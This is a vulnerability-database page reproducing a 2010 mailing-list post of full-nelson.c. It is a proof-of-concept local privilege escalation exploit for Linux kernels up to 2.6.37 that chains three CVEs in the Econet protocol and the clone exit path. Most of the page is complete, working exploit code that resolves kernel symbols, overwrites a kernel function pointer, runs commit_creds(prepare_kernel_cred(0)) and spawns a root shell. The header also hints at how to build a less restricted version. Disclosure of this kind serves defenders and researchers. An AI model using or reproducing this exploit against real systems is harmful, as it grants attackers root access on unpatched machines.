Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:25260
HistoryDec 09, 2010 - 12:00 a.m.

Linux kernel exploit

2010-12-0900:00:00
vulners.com
61
linux kernel
local privilege escalation
full-nelson.c
cve-2010-4258
cve-2010-3849
cve-2010-3850
ubuntu 10.04
x86-64
econet protocol
vulnerability
proof-of-concept
privilege escalation
code execution
vulnerability exploit
security issue
denial-of-service
script kiddies
public safety
unpatched dos.

EPSS

0

Percentile

10.1%

Hi all,

I've included here a proof-of-concept local privilege escalation exploit
for Linux. Please read the header for an explanation of what's going
on. Without further ado, I present full-nelson.c:

Happy hacking,
Dan

–snip–

/*

  • Linux Kernel <= 2.6.37 local privilege escalation
  • by Dan Rosenberg
  • @djrbliss on twitter
  • Usage:
  • gcc full-nelson.c -o full-nelson
  • ./full-nelson
  • This exploit leverages three vulnerabilities to get root, all of which were
  • discovered by Nelson Elhage:
  • CVE-2010-4258

  • This is the interesting one, and the reason I wrote this exploit. If a
  • thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
  • word will be written to a user-specified pointer when that thread exits.
  • This write is done using put_user(), which ensures the provided destination
  • resides in valid userspace by invoking access_ok(). However, Nelson
  • discovered that when the kernel performs an address limit override via
  • set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
  • etc.), this override is not reverted before calling put_user() in the exit
  • path, allowing a user to write a NULL word to an arbitrary kernel address.
  • Note that this issue requires an additional vulnerability to trigger.
  • CVE-2010-3849

  • This is a NULL pointer dereference in the Econet protocol. By itself, it's
  • fairly benign as a local denial-of-service. It's a perfect candidate to
  • trigger the above issue, since it's reachable via sock_no_sendpage(), which
  • subsequently calls sendmsg under KERNEL_DS.
  • CVE-2010-3850

  • I wouldn't be able to reach the NULL pointer dereference and trigger the
  • OOPS if users weren't able to assign Econet addresses to arbitrary
  • interfaces due to a missing capabilities check.
  • In the interest of public safety, this exploit was specifically designed to
  • be limited:
    • The particular symbols I resolve are not exported on Slackware or Debian
    • Red Hat does not support Econet by default
    • CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
  • Debian
  • However, the important issue, CVE-2010-4258, affects everyone, and it would
  • be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
  • more sophisticated version of this that doesn't have the roadblocks I put in
  • to prevent abuse by script kiddies.
  • Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
  • NOTE: the exploit process will deadlock and stay in a zombie state after you
  • exit your root shell because the Econet thread OOPSes while holding the
  • Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
  • Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
    */

#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

/* How many bytes should we clear in our

  • function pointer to put it into userspace? */
    #ifdef x86_64
    #define SHIFT 24
    #define OFFSET 3
    #else
    #define SHIFT 8
    #define OFFSET 1
    #endif

/* thanks spender… */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;

    f = fopen&#40;&quot;/proc/kallsyms&quot;, &quot;r&quot;&#41;;
    if &#40;f == NULL&#41; {
            f = fopen&#40;&quot;/proc/ksyms&quot;, &quot;r&quot;&#41;;
            if &#40;f == NULL&#41;
                    goto fallback;
            oldstyle = 1;
    }

repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "O/") || strstr(sname, "S."))
continue;
p = strrchr(sname, '
');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '
')
p–;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}

    fclose&#40;f&#41;;
    if &#40;rep&#41;
            return 0;

fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}

typedef int attribute((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long attribute((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static int attribute((regparm(3)))
getroot(void * file, void * vma)
{

    commit_creds&#40;prepare_kernel_cred&#40;0&#41;&#41;;
    return -1;

}

/* Why do I do this? Because on x86-64, the address of

  • commit_creds and prepare_kernel_cred are loaded relative
  • to rip, which means I can't just copy the above payload
  • into my landing area. */
    void attribute((regparm(3)))
    trampoline()
    {

#ifdef x86_64
asm("mov $getroot, %rax; call *%rax;");
#else
asm("mov $getroot, %eax; call *%eax;");
#endif

}

/* Triggers a NULL pointer dereference in econet_sendmsg

  • via sock_no_sendpage, so it's under KERNEL_DS */
    int trigger(int * fildes)
    {
    int ret;
    struct ifreq ifr;

     memset&#40;&amp;ifr, 0, sizeof&#40;ifr&#41;&#41;;
     strncpy&#40;ifr.ifr_name, &quot;eth0&quot;, IFNAMSIZ&#41;;
    
     ret = ioctl&#40;fildes[2], SIOCSIFADDR, &amp;ifr&#41;;
    
     if&#40;ret &lt; 0&#41; {
             printf&#40;&quot;[*] Failed to set Econet address.&#92;n&quot;&#41;;
             return -1;
     }
    
     splice&#40;fildes[3], NULL, fildes[1], NULL, 128, 0&#41;;
     splice&#40;fildes[0], NULL, fildes[2], NULL, 128, 0&#41;;
    
     /* Shouldn&#39;t get here... */
     exit&#40;0&#41;;
    

}

int main(int argc, char * argv[])
{
unsigned long econet_ops, econet_ioctl, target, landing;
int fildes[4], pid;
void * newstack, * payload;

    /* Create file descriptors now so there are two
       references to them after cloning...otherwise
       the child will never return because it
       deadlocks when trying to unlock various
       mutexes after OOPSing */
    pipe&#40;fildes&#41;;
    fildes[2] = socket&#40;PF_ECONET, SOCK_DGRAM, 0&#41;;
    fildes[3] = open&#40;&quot;/dev/zero&quot;, O_RDONLY&#41;;

    if&#40;fildes[0] &lt; 0 || fildes[1] &lt; 0 || fildes[2] &lt; 0 || fildes[3] &lt; 0&#41; {
            printf&#40;&quot;[*] Failed to open file descriptors.&#92;n&quot;&#41;;
            return -1;
    }

    /* Resolve addresses of relevant symbols */
    printf&#40;&quot;[*] Resolving kernel addresses...&#92;n&quot;&#41;;
    econet_ioctl = get_kernel_sym&#40;&quot;econet_ioctl&quot;&#41;;
    econet_ops = get_kernel_sym&#40;&quot;econet_ops&quot;&#41;;
    commit_creds = &#40;_commit_creds&#41; get_kernel_sym&#40;&quot;commit_creds&quot;&#41;;
    prepare_kernel_cred = &#40;_prepare_kernel_cred&#41; get_kernel_sym&#40;&quot;prepare_kernel_cred&quot;&#41;;

    if&#40;!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops&#41; {
            printf&#40;&quot;[*] Failed to resolve kernel symbols.&#92;n&quot;&#41;;
            return -1;
    }

    if&#40;!&#40;newstack = malloc&#40;65536&#41;&#41;&#41; {
            printf&#40;&quot;[*] Failed to allocate memory.&#92;n&quot;&#41;;
            return -1;
    }

    printf&#40;&quot;[*] Calculating target...&#92;n&quot;&#41;;
    target = econet_ops + 10 * sizeof&#40;void *&#41; - OFFSET;

    /* Clear the higher bits */
    landing = econet_ioctl &lt;&lt; SHIFT &gt;&gt; SHIFT;

    payload = mmap&#40;&#40;void *&#41;&#40;landing &amp; ~0xfff&#41;, 2 * 4096,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0&#41;;

    if &#40;&#40;long&#41;payload == -1&#41; {
            printf&#40;&quot;[*] Failed to mmap&#40;&#41; at target address.&#92;n&quot;&#41;;
            return -1;
    }

    memcpy&#40;&#40;void *&#41;landing, &amp;trampoline, 1024&#41;;

    clone&#40;&#40;int &#40;*&#41;&#40;void *&#41;&#41;trigger,
          &#40;void *&#41;&#40;&#40;unsigned long&#41;newstack + 65536&#41;,
          CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
          &amp;fildes, NULL, NULL, target&#41;;

    sleep&#40;1&#41;;

    printf&#40;&quot;[*] Triggering payload...&#92;n&quot;&#41;;
    ioctl&#40;fildes[2], 0, NULL&#41;;

    if&#40;getuid&#40;&#41;&#41; {
            printf&#40;&quot;[*] Exploit failed to get root.&#92;n&quot;&#41;;
            return -1;
    }

    printf&#40;&quot;[*] Got root!&#92;n&quot;&#41;;
    execl&#40;&quot;/bin/sh&quot;, &quot;/bin/sh&quot;, NULL&#41;;

}